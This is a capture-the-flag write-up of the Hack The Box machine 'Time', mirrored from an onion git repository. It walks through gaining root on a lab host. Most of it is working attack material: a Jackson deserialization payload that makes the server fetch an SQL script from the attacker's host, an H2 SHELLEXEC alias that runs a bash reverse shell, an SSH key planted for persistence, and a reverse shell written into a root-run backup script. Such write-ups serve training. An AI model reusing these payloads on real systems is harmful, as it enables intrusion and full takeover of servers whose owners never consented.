mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 04:16:59 +00:00
262 lines
9.5 KiB
Markdown
262 lines
9.5 KiB
Markdown
---
|
||
search:
|
||
exclude: true
|
||
---
|
||
# Time Writeup
|
||
|
||
|
||
|
||
## Introduction :
|
||
|
||
Time is a Medium Linux box released back in October 2020.
|
||
|
||
## **Part 1 : Initial Enumeration**
|
||
|
||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~]
|
||
→ nmap -vvv -p- 10.10.10.214 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
|
||
Discovered open port 22/tcp on 10.10.10.214
|
||
Discovered open port 80/tcp on 10.10.10.214
|
||
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~]
|
||
→ nmap -sCV -p22,80 10.10.10.214
|
||
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-02 11:08 CEST
|
||
Nmap scan report for 10.10.10.214
|
||
Host is up (0.46s latency).
|
||
|
||
PORT STATE SERVICE VERSION
|
||
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
|
||
| ssh-hostkey:
|
||
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|
||
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|
||
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
|
||
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|
||
|_http-server-header: Apache/2.4.41 (Ubuntu)
|
||
|_http-title: Online JSON parser
|
||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 24.40 seconds
|
||
|
||
|
||
|
||
## **Part 2 : Getting User Access**
|
||
|
||
Now our nmap scan picked up port 80 so let's take a look at it:
|
||
|
||
  
|
||
|
||
The website is basically a simple json parser, however when we take a look at the 'validate' option, giving it some random string makes it error out and reveals out the backend that's being used:
|
||
|
||
|
||
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'random': was expecting ('true', 'false' or 'null')
|
||
|
||
|
||
|
||
So now we know that this is jackson core json parser, so if we google for jackson CVEs we stumble upon this [jackson gadgets](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) blogpost which details how we can get the remote host to download a SQL file containing SHELLEXEC system commands:
|
||
|
||
|
||
|
||
So let's prepare our payload:
|
||
|
||
|
||
[terminal 1]
|
||
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket]
|
||
→ vim inject.sql
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket]
|
||
→ cat inject.sql
|
||
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
|
||
String[] command = {"bash", "-c", cmd};
|
||
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
|
||
return s.hasNext() ? s.next() : ""; }
|
||
$$;
|
||
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.8/9001 0>&1')
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket]
|
||
→ python3 -m http.server 9090
|
||
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
||
|
||
[terminal 2]
|
||
[ 10.10.14.8/23 ] [ /dev/pts/16 ] [~/HTB/Bucket]
|
||
→ nc -lvnp 9001
|
||
listening on [any] 9001 ...
|
||
|
||
|
||
|
||
And to get the machine to download the sql file from us we will use the following:
|
||
|
||
|
||
[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:9090/inject.sql'\"}]
|
||
|
||
#make sure to correct the payload like so:
|
||
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:9090/inject.sql'"}]
|
||
|
||
|
||
|
||
So let's try it:
|
||
|
||
|
||
|
||
click process and you will see the following:
|
||
|
||
|
||
|
||
So we got a reverse shell as the pericles user, before we continue let's upgrade our reverse shell to a fully interactive TTY:
|
||
|
||
|
||
pericles@time:/var/www/html$ which python python3 curl wget
|
||
which python python3 curl wget
|
||
/usr/bin/python3
|
||
/usr/bin/curl
|
||
/usr/bin/wget
|
||
pericles@time:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||
pericles@time:/var/www/html$ ^Z
|
||
[1] + 23451 suspended nc -lvnp 9001
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Time]
|
||
→ stty raw -echo ; fg
|
||
[1] + 23451 continued nc -lvnp 9001
|
||
export TERM=screen-256color
|
||
pericles@time:/var/www/html$ export SHELL=bash
|
||
pericles@time:/var/www/html$ stty rows 50 columns 200
|
||
pericles@time:/var/www/html$ reset
|
||
|
||
pericles@time:/var/www/html$ cd ~
|
||
pericles@time:/home/pericles$ cat user.txt
|
||
32XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And we got the user flag!
|
||
|
||
## **Part 3 : Getting Root Access**
|
||
|
||
Now in order to find a path to the root user, let's run linpeas.sh on the box after we login via SSH for ease of use:
|
||
|
||
|
||
[terminal 1]
|
||
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
|
||
→ cat ~/.ssh/mahakaliVM.pub
|
||
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali
|
||
|
||
[terminal 2]
|
||
pericles@time:/home/pericles$ mkdir ~/.ssh/
|
||
pericles@time:/home/pericles$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali' >> ~/.ssh/authorized_keys
|
||
|
||
[terminal 1]
|
||
[ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Time]
|
||
→ ssh pericles@10.10.10.214 -i ~/.ssh/mahakaliVM
|
||
The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established.
|
||
ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU.
|
||
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
|
||
Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts.
|
||
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)
|
||
|
||
* Documentation: https://help.ubuntu.com
|
||
* Management: https://landscape.canonical.com
|
||
* Support: https://ubuntu.com/advantage
|
||
|
||
System information as of Sat 03 Jul 2021 03:58:19 PM UTC
|
||
|
||
System load: 0.0
|
||
Usage of /: 17.2% of 27.43GB
|
||
Memory usage: 12%
|
||
Swap usage: 0%
|
||
Processes: 232
|
||
Users logged in: 0
|
||
IPv4 address for ens160: 10.10.10.214
|
||
IPv6 address for ens160: dead:beef::250:56ff:feb9:31f0
|
||
|
||
|
||
168 updates can be installed immediately.
|
||
47 of these updates are security updates.
|
||
To see these additional updates run: apt list --upgradable
|
||
|
||
|
||
The list of available updates is more than a week old.
|
||
To check for new updates run: sudo apt update
|
||
|
||
Last login: Fri Oct 23 09:19:19 2020 from 10.10.14.5
|
||
pericles@time:~$
|
||
|
||
[terminal 3]
|
||
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
|
||
→ ls -lash linpeas.sh
|
||
452K -rw-r--r-- 1 nothing nothing 452K Jul 1 20:22 linpeas.sh
|
||
|
||
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
|
||
→ python3 -m http.server 9090
|
||
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
||
|
||
[terminal 1]
|
||
pericles@time:~$ wget http://10.10.10.214:9090/linpeas.sh -O /tmp/peas.sh
|
||
--2021-07-03 16:00:28-- http://10.10.10.214:9090/linpeas.sh
|
||
Connecting to 10.10.10.214:9090... failed: Connection refused.
|
||
pericles@time:~$ wget http://10.10.14.8:9090/linpeas.sh -O /tmp/peas.sh
|
||
--2021-07-03 16:00:41-- http://10.10.14.8:9090/linpeas.sh
|
||
Connecting to 10.10.14.8:9090... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 462687 (452K) [text/x-sh]
|
||
Saving to: ‘/tmp/peas.sh’
|
||
|
||
/tmp/peas.sh 100%[========================================================================================================================================>] 451.84K 192KB/s in 2.3s
|
||
|
||
2021-07-03 16:00:45 (192 KB/s) - ‘/tmp/peas.sh’ saved [462687/462687]
|
||
|
||
pericles@time:~$ chmod +x /tmp/peas.sh
|
||
pericles@time:~$ /tmp/peas.sh
|
||
|
||
|
||
|
||
` 
|
||
|
||
Let linpeas run a bit and then once it's done we scroll through the output to see the following hint:
|
||
|
||
|
||
|
||
When we take a closer look at that script which is supposed to be ran as the root user, we see that it is actually owned by our user:
|
||
|
||
|
||
pericles@time:~$ ls -lash /usr/bin/timer_backup.sh
|
||
4.0K -rwxrw-rw- 1 pericles pericles 88 Jul 3 16:05 /usr/bin/timer_backup.sh
|
||
|
||
|
||
|
||
Netcat is on the box too, so let's put a simple bash reverse shell payload in it:
|
||
|
||
|
||
[terminal 1]
|
||
pericles@time:~$ which nano
|
||
/usr/bin/nano
|
||
pericles@time:~$ nano /usr/bin/timer_backup.sh
|
||
pericles@time:~$ cat /usr/bin/timer_backup.sh
|
||
#!/bin/bash
|
||
#zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
|
||
bash -c "bash -i >& /dev/tcp/10.10.14.8/9002 0>&1"
|
||
|
||
[terminal 2]
|
||
[ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time]
|
||
→ nc -lvnp 9002
|
||
listening on [any] 9002 ...
|
||
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.214] 36874
|
||
bash: cannot set terminal process group (33199): Inappropriate ioctl for device
|
||
bash: no job control in this shell
|
||
root@time:/# cat /root/root.txt
|
||
cat /root/root.txt
|
||
d1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
|
||
And there you go! We managed to get the reverse shell connection as root and get the root flag.
|
||
|
||
## **Conclusion**
|
||
|
||
Here we can see the progress graph :
|
||
|
||
|
||
|